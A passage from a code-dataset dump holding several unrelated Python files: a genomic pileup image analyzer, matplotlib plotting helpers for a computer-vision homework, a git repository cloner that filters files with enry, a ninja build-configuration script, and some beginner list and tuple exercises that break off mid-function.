\"\"\"\n if is_in_support == 254.0:\n return 1\n elif is_in_support == 152.0:\n return 0\n\n\ndef get_quality_by_color(map_quality):\n \"\"\"\n Get a color spectrum given mapping quality\n :param map_quality: value of mapping quality\n :return:\n \"\"\"\n color = math.floor(((map_quality / 254) * 9))\n return color\n\ndef get_match_ref_color(is_match):\n \"\"\"\n Get color for base matching to reference\n :param is_match: If true, base matches to reference\n :return:\n \"\"\"\n if is_match == 50:\n return 1\n elif is_match == 254:\n return 0\n\n\ndef get_strand_color(is_rev):\n \"\"\"\n Get color for forward and reverse reads\n :param is_rev: True if read is reversed\n :return:\n \"\"\"\n if is_rev == 240.0:\n return 1\n else:\n return 0\n\n\ndef get_cigar_by_color(cigar_code):\n \"\"\"\n ***NOT USED YET***\n :param is_in_support:\n :return:\n \"\"\"\n if cigar_code == 254:\n return 0\n if cigar_code == 152:\n return 1\n if cigar_code == 76:\n return 2\n\n\ndef analyze_it(img):\n file = img\n img = Image.open(file)\n\n shape = (300, 300, 7)\n np_array_of_img = np.array(img.getdata())\n\n img = np.reshape(np_array_of_img, shape)\n img = np.transpose(img, (0, 1, 2))\n print(\"BASE CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][0] != 0:\n print(get_base_by_color(img[i][j][0]), end='')\n else:\n print(' ',end='')\n print()\n print(\"CIGAR CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][6] != 0:\n print(get_cigar_by_color(img[i][j][6]), end='')\n else:\n print(' ', end='')\n print()\n print(\"SUPPORT CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][5] != 0:\n print(get_alt_support_by_color(img[i][j][5]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"BASE QULAITY CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][1] != 0:\n print(get_quality_by_color(img[i][j][1]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"MAP QUALITY CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][2] != 0:\n print(get_quality_by_color(img[i][j][2]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"MISMATCH CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][4] != 0:\n print(get_match_ref_color(img[i][j][4]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"STRAND CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[i][j][3] != 0:\n print(get_strand_color(img[i][j][3]), end='')\n else:\n print(' ', end='')\n print()\n\n\ndef analyze_np_array(img):\n img = img.numpy() * 255\n # img = np.reshape(np_array_of_img, shape)\n # img = np.transpose(img, (0, 1, 2))\n print(\"BASE CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[0][i][j] != 0:\n print(get_base_by_color(img[0][i][j]), end='')\n else:\n print(' ',end='')\n print()\n\n print(\"CIGAR CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[6][i][j] != 0:\n print(get_cigar_by_color(img[6][i][j]), end='')\n else:\n print(' ', end='')\n print()\n print(\"SUPPORT CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[5][i][j] != 0:\n print(get_alt_support_by_color(img[5][i][j]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"BASE QULAITY CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[1][i][j] != 0:\n print(get_quality_by_color(img[1][i][j]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"MAP QUALITY CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[2][i][j] != 0:\n print(get_quality_by_color(img[2][i][j]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"MISMATCH CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[4][i][j] != 0:\n print(get_match_ref_color(img[4][i][j]), end='')\n else:\n print(' ', end='')\n print()\n\n print(\"STRAND CHANNEL\")\n for i in range(300):\n for j in range(300):\n if img[3][i][j] != 0:\n print(get_strand_color(img[3][i][j]), end='')\n else:\n print(' ', end='')\n print()\n\nif __name__ == '__main__':\n \"\"\"\n Processes arguments and performs tasks to generate the pileup.\n \"\"\"\n\n parser = argparse.ArgumentParser()\n parser.register(\"type\", \"bool\", lambda v: v.lower() == \"true\")\n parser.add_argument(\n \"--img\",\n type=str,\n required=True,\n help=\"Path to the image.\"\n )\n FLAGS, not_parsed_flags = parser.parse_known_args()\n # make output directory if not already created\n analyze_it(FLAGS.img)","sub_path":"image_analyzer.py","file_name":"image_analyzer.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403761762","text":"\"\"\"plot and visualization functions for cs131 hw7\"\"\"\nimport matplotlib.patches as patches\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom skimage.transform import downscale_local_mean, rescale, resize\n\n\ndef plot_part1(avg_face, face_hog):\n \"\"\"plot average face and hog representatitons of face.\"\"\"\n plt.subplot(1, 2, 1)\n plt.imshow(avg_face)\n plt.axis('off')\n plt.title('average face image')\n\n plt.subplot(1, 2, 2)\n plt.imshow(face_hog)\n plt.title('hog representation of face')\n plt.axis('off')\n\n plt.show()\n\n\ndef plot_part2(image, r, c, response_map_resized, response_map, winW, winH):\n \"\"\"plot window with highest hog score and heatmap.\"\"\"\n fig, (ax1, ax2, ax3) = plt.subplots(3, figsize=(10,15))\n\n im = ax1.imshow(image)\n rect = patches.Rectangle((c - winW // 2, r - winH // 2),\n winW,\n winH,\n linewidth=1,\n edgecolor='r',\n facecolor='none')\n ax1.add_patch(rect)\n fig.colorbar(im, ax=ax1)\n\n ax2.set_title('Sliding Window Response Map')\n im = ax2.imshow(response_map_resized, cmap='viridis', interpolation='nearest')\n fig.colorbar(im, ax=ax2)\n\n ax3.set_title('Unresized Sliding Window Response Map')\n im = ax3.imshow(response_map, cmap='viridis', interpolation='nearest')\n fig.colorbar(im, ax=ax3)\n plt.tight_layout()\n plt.show()\n\n\ndef plot_part3_1(images):\n \"\"\"plot image pyramid.\"\"\"\n sum_r = 0\n sum_c = 0\n for i, result in enumerate(images):\n (scale, image) = result\n if i == 0:\n sum_c = image.shape[1]\n sum_r += image.shape[0]\n\n composite_image = np.zeros((sum_r, sum_c))\n\n pointer = 0\n for i, result in enumerate(images):\n (scale, image) = result\n composite_image[pointer:pointer +\n image.shape[0], :image.shape[1]] = image\n pointer += image.shape[0]\n\n plt.imshow(composite_image)\n plt.axis('off')\n plt.title('Image Pyramid')\n plt.show()\n\n\ndef plot_part3_2(image, max_scale, winW, winH, maxc, maxr, max_response_map):\n \"\"\"plot window with highest hog score and heatmap.\"\"\"\n fig, (ax1, ax2) = plt.subplots(2, figsize=(10,10))\n im = ax1.imshow(rescale(image, max_scale))\n rect = patches.Rectangle((maxc - winW // 2, maxr - winH // 2),\n winW,\n winH,\n linewidth=1,\n edgecolor='r',\n facecolor='none')\n ax1.add_patch(rect)\n fig.colorbar(im, ax=ax1)\n\n ax2.set_title('Pyramid Score Response Map')\n im = ax2.imshow(max_response_map, cmap='viridis', interpolation='nearest')\n fig.colorbar(im, ax=ax2)\n plt.tight_layout()\n plt.show()\n\n\ndef plot_part4(avg, hog, part_name):\n \"\"\"plot average and hog representatitons of deformable parts.\"\"\"\n plt.subplot(1, 3, 1)\n plt.imshow(avg)\n plt.axis('off')\n plt.title('average ' + part_name + ' image')\n\n plt.subplot(1, 3, 2)\n plt.imshow(hog)\n plt.axis('off')\n plt.title('average hog image')\n plt.show()\n\n\ndef plot_part5_1(response_map):\n \"\"\"plot heatmaps.\"\"\"\n fig, ax = plt.subplots(1, figsize=(10,5))\n im = ax.imshow(response_map, cmap='viridis', interpolation='nearest')\n fig.colorbar(im, ax=ax)\n plt.show()\n\n\ndef plot_part5_2_face(face_heatmap_shifted):\n \"\"\"plot heatmaps.\"\"\"\n fig, ax = plt.subplots(1, figsize=(10,5))\n im = ax.imshow(face_heatmap_shifted, cmap='viridis', interpolation='nearest')\n fig.colorbar(im, ax=ax)\n plt.show()\n\n\ndef plot_part5_2_parts(lefteye_heatmap_shifted, righteye_heatmap_shifted,\n nose_heatmap_shifted, mouth_heatmap_shifted):\n \"\"\"plot heatmaps.\"\"\"\n f, axarr = plt.subplots(2, 2, figsize=(14,7))\n\n im = axarr[0, 0].imshow(\n lefteye_heatmap_shifted, cmap='viridis', interpolation='nearest')\n f.colorbar(im, ax=axarr[0,0])\n\n im = axarr[0, 1].imshow(\n righteye_heatmap_shifted, cmap='viridis', interpolation='nearest')\n f.colorbar(im, ax=axarr[0,1])\n\n im = axarr[1, 0].imshow(\n nose_heatmap_shifted, cmap='viridis', interpolation='nearest')\n f.colorbar(im, ax=axarr[1,0])\n\n im = axarr[1, 1].imshow(\n mouth_heatmap_shifted, cmap='viridis', interpolation='nearest')\n f.colorbar(im, ax=axarr[1,1])\n\n plt.show()\n\n\ndef plot_part6_1(winH, winW, heatmap, image, i, j):\n \"\"\"plot heatmaps and optimal window.\"\"\"\n fig, (ax1, ax2) = plt.subplots(2, figsize=(10,10))\n im = ax1.imshow(resize(image, heatmap.shape))\n rect = patches.Rectangle((j - winW // 2, i - winH // 2),\n winW,\n winH,\n linewidth=1,\n edgecolor='r',\n facecolor='none')\n ax1.add_patch(rect)\n fig.colorbar(im, ax=ax1)\n\n ax2.set_title('Gaussian Filter Heatmap')\n im = ax2.imshow(heatmap, cmap='viridis', interpolation='nearest')\n rect = patches.Rectangle((j - winW // 2, i - winH // 2),\n winW,\n winH,\n linewidth=1,\n edgecolor='r',\n facecolor='none')\n ax2.add_patch(rect)\n fig.colorbar(im, ax=ax2)\n plt.tight_layout()\n plt.show()\n","sub_path":"fall_2020/hw6_release/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"79004689","text":"from functools import partial\nimport json\nimport logging\nfrom multiprocessing.dummy import Pool\nimport os\nimport shutil\nimport subprocess\n\n\nclass LinguistFailedError(Exception):\n \"\"\"\n Raised when we fail to classify the source files.\n \"\"\"\n pass\n\n\nclass RepoCloner:\n \"\"\"\n Clones repositories from provided urls / files with urls.\n Use enry to classify files and delete redundant files if needed.\n \"\"\"\n def __init__(self, redownload, linguist=None, languages=None,\n log_level=logging.INFO, num_threads=1):\n self._log = logging.getLogger(\"repo_cloner\")\n self._log.setLevel(log_level)\n self._is_enry = False\n self._languages = languages\n self._linguist = None\n self._num_threads = num_threads\n self._redownload = redownload\n if linguist or languages:\n self.find_linguist(linguist)\n\n def clone_repo(self, git_url, ignore, target_dir):\n \"\"\"\n Clones repository into a separate directory inside of the target one.\n\n :param git_url: Url of Git repository.\n :param ignore: Flag for ignoring Git failures.\n :param target_dir: Target directory. New directory will be created inside of target_dir.\n :return: Path to downloaded Git repository.\n \"\"\"\n git_url = self._prepare_repo_url(git_url)\n\n try:\n repo_dir = self._prepare_repo_dir(git_url, target_dir)\n except FileExistsError as e:\n self._log.warning(\"%s already cloned, skipping.\", git_url)\n return\n\n env = os.environ.copy()\n env[\"GIT_TERMINAL_PROMPT\"] = \"0\" # force Git not to ask anything\n self._log.info(\"Cloning from %s...\", git_url)\n\n try:\n subprocess.check_output([\"git\", \"clone\", \"--depth=1\", git_url, repo_dir],\n env=env, stdin=subprocess.DEVNULL, stderr=subprocess.STDOUT)\n except subprocess.CalledProcessError as e:\n shutil.rmtree(repo_dir, ignore_errors=True)\n self._log.error(\"Git failed to clone repo. git stderr:\\n\\t\" +\n \"\\n\\t\".join(e.output.decode(\"utf8\").split(\"\\n\")))\n if not ignore:\n raise e from None\n else:\n return\n except Exception as e:\n shutil.rmtree(repo_dir, ignore_errors=True)\n self._log.error(\"Unknown error in RepoCloner. Git failed to clone repo.\")\n raise e from None\n\n self._log.info(\"Finished cloning %s\", git_url)\n return repo_dir\n\n def classify_repo(self, repo_dir: str) -> dict:\n \"\"\"\n Classify files in a repository using provided linguist.\n\n :param repo_dir: Path to repository directory.\n :return: linguist output loaded from JSON.\n \"\"\"\n if not self._linguist:\n raise LinguistFailedError(\"Linguist is not set - cannot classify the files\")\n\n self._log.info(\"Classifying the files...\")\n repo_dir = os.path.abspath(repo_dir)\n cmdline = [self._linguist]\n if self._is_enry:\n cmdline += [\"-json\", repo_dir]\n else:\n cmdline += [repo_dir, \"--json\"]\n try:\n bjson = subprocess.check_output(cmdline)\n except subprocess.CalledProcessError:\n self._log.error(\"Couldn't classify files in %s\", repo_dir)\n raise LinguistFailedError() from None\n classified = json.loads(bjson.decode(\"utf8\"))\n self._log.info(\"Result: %s\", {k: len(v) for k, v in classified.items()})\n return classified\n\n def cleanup_repo(self, classified: dict, repo_dir: str) -> None:\n \"\"\"\n Delete files not classified by linguist (if some languages were specified then only them\n are preserved).\n\n :param classified: enry output loaded from JSON.\n :param repo_dir: Path to repository directory.\n :return:\n \"\"\"\n if self._languages:\n self._log.info(\"Removing files with languages not in (%s)\",\n \",\".join(self._languages))\n languages = self._languages\n else:\n self._log.info(\"Removing files not classified by enry.\")\n languages = classified.keys()\n\n allowed_files = set(str.encode(os.path.join(repo_dir, fname)) for lang in languages\n if lang in classified for fname in classified[lang])\n\n for root, dirnames, filenames in os.walk(str.encode(repo_dir), topdown=False):\n for filename in filenames:\n full_filename = os.path.join(root, filename)\n if full_filename not in allowed_files:\n os.remove(full_filename)\n for dirname in dirnames:\n full_dirname = os.path.join(root, dirname)\n if os.path.islink(full_dirname):\n os.unlink(full_dirname)\n elif not os.listdir(full_dirname):\n os.rmdir(full_dirname)\n\n def clone_repos(self, inputs, output, ignore):\n with Pool(self._num_threads) as pool:\n pool.map(partial(self.process_repo, ignore=ignore, target_dir=output),\n self.generate_repo_urls(inputs))\n\n def process_repo(self, git_url: str, ignore: bool, target_dir: str) -> None:\n repo_dir = self.clone_repo(git_url, ignore, target_dir)\n if repo_dir is None or self._linguist is None:\n return\n classified = self.classify_repo(repo_dir)\n if classified:\n self.cleanup_repo(classified, repo_dir)\n\n @staticmethod\n def generate_repo_urls(inputs):\n \"\"\"\n Parse provided inputs.\n\n :param inputs: List of files and/or Git urls.\n :return: Generator of git urls.\n \"\"\"\n for item in inputs:\n if os.path.isfile(item):\n with open(item, encoding=\"utf8\") as f:\n for line in f:\n yield line.rstrip()\n else:\n yield item\n\n def find_linguist(self, linguist):\n if linguist is None:\n linguist = shutil.which(\"enry\", path=os.getcwd() + \":\" + os.getenv(\"PATH\", os.defpath))\n full_path = shutil.which(linguist)\n if not full_path:\n raise FileNotFoundError(\"%s was not found. Install it: python3 -m ast2vec enry\" %\n linguist)\n self._linguist = linguist\n with open(full_path, \"rb\") as fin:\n # Check if we're using https://github.com/github/linguist\n self._is_enry = fin.read(15) != b\"#!/usr/bin/ruby\"\n\n def _prepare_repo_dir(self, git_url: str, target_dir: str) -> str:\n \"\"\"\n Prepare directory for saving Git repository, i.e. create / cleanup if necessary.\n\n :param git_url: Url of Git repository.\n :param target_dir: Parent directory for Git repository.\n :return: Path to prepared directory.\n \"\"\"\n git_ending = \".git\"\n repo_name = \"&\".join(git_url.rsplit(\"/\", maxsplit=2)[-2:])\n if repo_name.endswith(git_ending):\n repo_name = repo_name[:-len(git_ending)]\n site_start = git_url.find(\"//\")\n site_end = git_url.find(\"/\", site_start + 2)\n repo_name += \"_\" + git_url[site_start + 2:site_end]\n repo_dir = os.path.join(target_dir, repo_name)\n\n if os.path.exists(repo_dir) and self._redownload:\n self._log.info(\"%s already downloaded to %s, will download it again\",\n git_url, repo_dir)\n shutil.rmtree(repo_dir)\n\n os.makedirs(repo_dir)\n return repo_dir\n\n @staticmethod\n def _prepare_repo_url(git_url: str) -> str:\n \"\"\"\n Prepare name of repository for operations with git.\n Remove '\\n', '/' and '\\' in the end of string.\n Add 'https://' in the beginning if necessary.\n\n :param reponame: Raw Git url of repository.\n :return: Clean Git url.\n \"\"\"\n bad_endings = \"\\n\\r\\\\/\"\n git_url = git_url.rstrip(bad_endings)\n if not git_url.startswith(\"git://\") and not git_url.startswith(\"https://\") and \\\n not git_url.startswith(\"http://\"):\n git_url = \"https://\" + git_url\n return git_url\n\n\ndef clone_repositories(args):\n \"\"\"\n Invokes RepoCloner(\\*\\*args).clone_repos() on the specified input.\n\n :param args: :class:`argparse.Namespace` with \"input\", \"output\" and \"ignore\". \"input\" is a \\\n list of files and/or Git urls. \"output\" is the path to directory for storing \\\n all repositories. \"ignore\" is a flag for specifying to ignore Git clone problems.\n :return: None\n \"\"\"\n clone_args = _sanitize_kwargs(args)\n RepoCloner(**clone_args).clone_repos(args.input, args.output, args.ignore)\n\n\ndef _sanitize_kwargs(args):\n clone_args = getattr(args, \"__dict__\", args).copy()\n blacklist = (\"command\", \"ignore\", \"input\", \"handler\", \"output\")\n for arg in blacklist:\n clone_args.pop(arg, None)\n clone_args[\"num_threads\"] = clone_args.pop(\"threads\")\n return clone_args\n","sub_path":"ast2vec/cloning.py","file_name":"cloning.py","file_ext":"py","file_size_in_byte":9095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"555677699","text":"import argparse\nimport os\nimport subprocess\nimport sys\n\nfrom configure import checks\nfrom configure.gen import native, asmjs, data, js, dist, scripts\nfrom configure.template import template\n\n\ndef build_parser():\n args = argparse.ArgumentParser()\n\n args.add_argument('--build-dir', default=None,\n help='directory to store build files')\n args.add_argument('--dist-dir', default=None,\n help='directory to store distribution image')\n\n args.add_argument('--data-only', action='store_true', default=False,\n help='generate data files only; don\\'t compile any code')\n args.add_argument('--use-prebuilt',\n help='use prebuild versions of the named files/directories')\n args.add_argument('--prebuilt-dir', default=None,\n help='directory containing a previously compiled version')\n args.add_argument('--reconfigure', action='store_true', default=False,\n help='reuse cached configuration info when possible')\n args.add_argument('--mods',\n help='list of mods to include in the compiled game')\n\n args.add_argument('--debug', action='store_true', default=False,\n help='produce a debug build')\n args.add_argument('--release', action='store_false', dest='debug',\n help='produce a release build (default)')\n\n args.add_argument('--rust-home', default='../rust',\n help='path to rust-lang/rust checkout')\n args.add_argument('--bitflags-home', default='../bitflags',\n help='path to rust-lang/bitflags checkout')\n args.add_argument('--rust-extra-libdir', default=None,\n help='additional search directory for Rust libraries')\n args.add_argument('--rust-lib-externs', default='',\n help='list of --extern flags for locating Rust libraries')\n args.add_argument('--emscripten-fastcomp-prefix', default=None,\n help='path to kripken/emscripten-fastcomp build/install directory')\n\n args.add_argument('--rustc',\n help='name of the Rust compiler binary')\n args.add_argument('--cc',\n help='name of the C compiler binary')\n args.add_argument('--cxx',\n help='name of the C++ compiler binary')\n args.add_argument('--python3',\n help='name of the Python 3 interpreter binary')\n args.add_argument('--python3-config',\n help='name of the Python 3 build configuration helper binary')\n args.add_argument('--closure-compiler',\n help='name of the Closure Compiler binary')\n args.add_argument('--yui-compressor',\n help='name of the YUI Compressor binary')\n\n args.add_argument('--force', action='store_true', default=False,\n help='proceed even if there are configuration errors')\n\n args.add_argument('--cflags',\n help='extra flags for the C compiler')\n args.add_argument('--cxxflags',\n help='extra flags for the C++ compiler')\n args.add_argument('--ldflags',\n help='extra flags for the C/C++ linker')\n\n args.add_argument('--with-server-gui', action='store_true',\n help='include server_gui.py in the build')\n\n return args\n\n\nclass Info(object):\n def __init__(self, args):\n self._args = args\n\n script_dir = os.path.dirname(sys.argv[0])\n if script_dir == '':\n self.root_dir = '.'\n else:\n self.root_dir = os.path.normpath(os.path.join(script_dir, '..', '..'))\n\n in_tree = self.root_dir == '.' or self.root_dir == os.getcwd()\n\n if args.build_dir is None:\n self.build_dir = 'build' if in_tree else '.'\n else:\n self.build_dir = args.build_dir\n\n if args.dist_dir is None:\n self.dist_dir = 'dist' if in_tree else os.path.join(self.build_dir, 'dist')\n else:\n self.dist_dir = args.dist_dir\n\n def __getattr__(self, k):\n return getattr(self._args, k)\n\n\ndef header(i):\n def b(*args):\n return os.path.normpath(os.path.join(i.build_dir, *args))\n\n return template('''\n # Root of the source tree. This used to be called $src, but that would\n # be confusing now that $root/src is an actual directory.\n root = %{os.path.normpath(i.root_dir)}\n # Note: (1) `build` is a ninja keyword; (2) `builddir` is a special\n # variable that determines where `.ninja_log` is stored.\n builddir = %{os.path.normpath(i.build_dir)}\n dist = %{os.path.normpath(i.dist_dir)}\n prebuilt = %{os.path.normpath(i.prebuilt_dir or '')}\n\n _exe = %{'' if not i.win32 else '.exe'}\n _so = %{'.so' if not i.win32 else '.dll'}\n _a = .a\n\n b_native = %{b('native')}\n b_asmjs = %{b('asmjs')}\n b_data = %{b('data')}\n b_js = %{b('js')}\n b_scripts = %{b('scripts')}\n\n mods = %{','.join(i.mod_list)}\n\n rustc = %{i.rustc}\n cc = %{i.cc}\n cxx = %{i.cxx}\n python3 = %{i.python3}\n closure_compiler = %{i.closure_compiler}\n yui_compressor = %{i.yui_compressor}\n\n user_cflags = %{i.cflags}\n user_cxxflags = %{i.cxxflags}\n user_ldflags = %{i.ldflags}\n ''', os=os, **locals())\n\n\ndef fix_bitflags(src_out, src_in):\n return template('''\n rule fix_bitflags_src\n command = $\n echo '#![feature(no_std)]' >$out && $\n echo '#![no_std]' >>$out && $\n cat $in >> $out\n description = PATCH bitflags.rs\n\n build %src_out: fix_bitflags_src %src_in\n ''', **locals())\n\n\nif __name__ == '__main__':\n parser = build_parser()\n args = parser.parse_args(sys.argv[1:])\n\n log = open('config.log', 'w')\n log.write('Arguments: %r\\n\\n' % (sys.argv[1:],))\n\n i, ok = checks.run(args, log)\n if not ok:\n if i.force:\n print('Ignoring errors due to --force')\n else:\n sys.exit(1)\n\n if i.python3_config is not None:\n py_includes = subprocess.check_output((i.python3_config, '--includes')).decode().strip()\n py_ldflags = subprocess.check_output((i.python3_config, '--ldflags')).decode().strip()\n else:\n py_includes = None\n py_ldflags = None\n\n if i.debug:\n dist_manifest_base = 'debug.manifest'\n else:\n dist_manifest_base = 'release.manifest'\n\n dist_manifest = os.path.join(i.root_dir, 'mk', dist_manifest_base)\n common_manifest = os.path.join(i.root_dir, 'mk', 'common.manifest')\n maybe_data_filter = os.path.join(i.root_dir, 'mk', 'data_files.txt') \\\n if i.data_only else None\n\n dist_extra = []\n if i.with_server_gui:\n dist_extra.append(('server_gui.py', '$root/util/server_gui.py'))\n\n content = header(i)\n content += '\\n\\n'.join((\n '',\n dist.rules(i),\n ))\n\n if not i.data_only:\n content += '\\n\\n'.join((\n '',\n '# Native',\n native.rules(i),\n native.rust('syntax_exts', 'dylib', (), extra_flags='-C prefer-dynamic'),\n native.rust('physics', 'lib', ()),\n native.rust('server_types', 'lib', ('physics',)),\n native.rust('server_config', 'lib', ('server_types',)),\n native.rust('server_extra', 'lib', ('server_types',)),\n native.rust('server_util', 'lib', ('server_types',)),\n native.rust('server_world_types', 'lib', ('server_types',)),\n native.rust('server_bundle', 'lib',\n ('physics', 'server_config', 'server_extra', 'server_types',\n 'server_util', 'server_world_types')),\n native.rust('server_bundle', 'staticlib',\n ('physics', 'server_config', 'server_extra', 'server_types',\n 'server_util', 'server_world_types'),\n extra_flags='--cfg ffi'),\n native.rust('terrain_gen_algo', 'lib', ('server_types',), build_type='release'),\n native.rust('terrain_gen', 'lib',\n ('physics', 'server_config', 'server_types', 'server_util', 'terrain_gen_algo'),\n # Slow terrain gen algorithms cause serious problems in debug\n # builds (3000+ ms to generate each chunk).\n build_type='release'),\n native.rust('backend', 'bin',\n ('physics', 'terrain_gen',\n 'server_bundle', 'server_config', 'server_extra',\n 'server_types', 'server_util', 'server_world_types',),\n dyn_deps=('syntax_exts',),\n src_file='$root/src/server/main.rs'),\n native.cxx('wrapper', 'bin',\n ('$root/src/wrapper/%s' % f\n for f in os.listdir(os.path.join(i.root_dir, 'src', 'wrapper'))\n if f.endswith('.cpp')),\n cxxflags='-DWEBSOCKETPP_STRICT_MASKING',\n ldflags='-static',\n # TODO: detect these lib flags\n libs='-lboost_system -lpthread' if not i.win32 else\n '-lboost_system-mt -lpthread -lwsock32 -lws2_32'),\n native.cxx('outpost_savegame', 'shlib',\n ('$root/util/savegame_py/%s' % f\n for f in os.listdir(os.path.join(i.root_dir, 'util/savegame_py'))\n if f.endswith('.c')),\n cflags=py_includes,\n ldflags=py_ldflags,\n ),\n\n native.rust('terrain_gen_ffi', 'staticlib',\n ('terrain_gen', 'server_config', 'server_types'),\n src_file='$root/src/test_terrain_gen/ffi.rs'),\n native.cxx('outpost_terrain_gen', 'shlib',\n ('$root/src/test_terrain_gen/py.c',),\n cflags=py_includes,\n ldflags=py_ldflags,\n link_extra=['$b_native/libterrain_gen_ffi$_a'],\n ),\n\n 'build pymodules: phony '\n '$b_native/outpost_savegame$_so '\n '$b_native/outpost_terrain_gen$_so',\n\n native.rust('equip_sprites_render', 'dylib',\n ('physics',),\n src_file='$root/src/gen/equip_sprites/render.rs'),\n dist.copy('$b_native/libequip_sprites_render$_so',\n '$b_native/equip_sprites_render$_so'),\n\n '# Asm.js',\n asmjs.rules(i),\n asmjs.rlib('core', (), i.rust_libcore_src),\n asmjs.rlib('alloc', ('core',), i.rust_liballoc_src),\n asmjs.rlib('rustc_unicode', ('core',), i.rust_librustc_unicode_src),\n asmjs.rlib('collections', ('core', 'alloc', 'rustc_unicode'),\n i.rust_libcollections_src),\n asmjs.rlib('asmrt', ('core',)),\n asmjs.rlib('asmmalloc', ('core', 'asmrt')),\n asmjs.rlib('fakestd', ('core', 'alloc', 'rustc_unicode', 'collections',\n 'asmrt', 'asmmalloc')),\n asmjs.rlib('bitflags', ('core',), i.rust_libbitflags_src),\n asmjs.rlib('physics', ('fakestd', 'bitflags')),\n asmjs.rlib('client_ui_atlas', ('core', 'physics',), '$b_data/ui_atlas.rs'),\n asmjs.rlib('client_fonts', ('core',), '$b_data/fonts_metrics.rs'),\n asmjs.rlib('client', ('fakestd', 'physics',\n 'client_ui_atlas', 'client_fonts')),\n asmjs.asmlibs('asmlibs',\n '$root/src/asmlibs/lib.rs',\n ('core', 'collections', 'asmrt', 'asmmalloc', 'physics', 'client'),\n '$root/src/asmlibs/exports.txt',\n '$root/src/asmlibs/template.js'),\n\n '# Javascript',\n js.rules(i),\n js.compile(i, '$b_js/outpost.js', '$root/src/client/js/main.js'),\n js.minify(i, '$b_js/asmlibs.js', '$b_asmjs/asmlibs.js'),\n js.compile(i, '$b_js/configedit.js', '$root/src/client/js/configedit.js'),\n\n '# uvedit',\n asmjs.asmlibs('uvedit_asm',\n '$root/src/uvedit/lib.rs',\n ('core', 'collections', 'asmrt', 'asmmalloc', 'physics'),\n '$root/src/uvedit/asm_exports.txt',\n '$root/src/uvedit/asm_template.js'),\n js.minify(i, '$b_js/uvedit_asm.js', '$b_asmjs/uvedit_asm.js'),\n js.compile(i, '$b_js/uvedit.js', '$root/src/uvedit/main.js'),\n ))\n\n content += '\\n\\n'.join((\n '',\n '# Data',\n data.rules(i),\n data.font('name', '$root/assets/misc/NeoSans.png'),\n data.font('title', '$root/assets/misc/Alagard.png',\n extra_args='--no-shadow --color=0xdeeed6'),\n data.font('hotbar', '$root/assets/misc/hotbar-font.png',\n charset_args='--char-list=\"0123456789.k\"'),\n data.font_stack('$b_data/fonts', ('name', 'hotbar', 'title')),\n data.day_night('$b_data/day_night.json', '$root/assets/misc/day_night_pixels.png'),\n data.server_json('$b_data/server.json'),\n data.ui_atlas('$b_data', '$root/assets/ui_gl/png'),\n data.process(),\n data.binary_defs('$b_data/client_data.bin'),\n data.pack(),\n data.credits('$b_data/credits.html'),\n\n '# Server-side scripts',\n scripts.rules(i),\n scripts.copy_mod_scripts(i.mod_list),\n\n '# Distribution',\n # dist rules go at the top so other parts can refer to `dist.copy`\n dist.from_manifest(common_manifest, dist_manifest,\n filter_path=maybe_data_filter,\n exclude_names=i.use_prebuilt,\n extra=dist_extra),\n\n 'default $builddir/dist.stamp',\n '', # ensure there's a newline after the last command\n ))\n\n with open('build.ninja', 'w') as f:\n f.write(content)\n\n print('Generated build.ninja')\n print('Run `ninja` to build')\n","sub_path":"mk/configure/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":13661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397453885","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpide\n\nThis is a temporary script file.\n\"\"\"\nx=6\ny=9\n\nwhile x>0 and y>0:\n x=x-1\n y=y-1\n\n\nprint(x)\nprint(y)\n","sub_path":"alpha.py","file_name":"alpha.py","file_ext":"py","file_size_in_byte":140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177253779","text":"list_1_100 = [ num for num in range(0,101) ]\n\n\"\"\"\nmeses = ('Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre')\n\nnumber = int(input(\"Ingrese un número\"))\nif 1 <= number <= len(meses)-1:\n print(meses[number])\nelse:\n raise Exception(\"nuevo error\")\n\"\"\"\n\"\"\"\nnumero_por_teclado = int(input(\"ingrese un número\"))\n\ntabla_de_multiplicar = [ numero_por_teclado*number for number in range(1,11) ]\nprint(tabla_de_multiplicar)\n\n\"\"\"\n\"\"\"\nlist_numbers = []\nwhile True:\n try:\n numero = int(input(\"Ingrese un número : \"))\n if numero == 0:\n break\n list_numbers.append(numero)\n except Exception:\n print(\"Ingrese solo números \")\nlist_numbers.sort()\nlist_numbers.sort(reverse=True)\nprint(list_numbers)\n\ncadena = input(\"Escribe una cadena : \")\nprint(cadena.split(\" \"))\n\"\"\"\ntupla_numeros = ( 1,2,3,4,1,1,2,2,3,44,5,56 )\n\nfrom functools import reduce\ndef cant_repeat(numberSearch,tuple_):\n count = 0\n for numberTuple in tuple_:\n if numberTuple == numberSearch: count+=1\n return 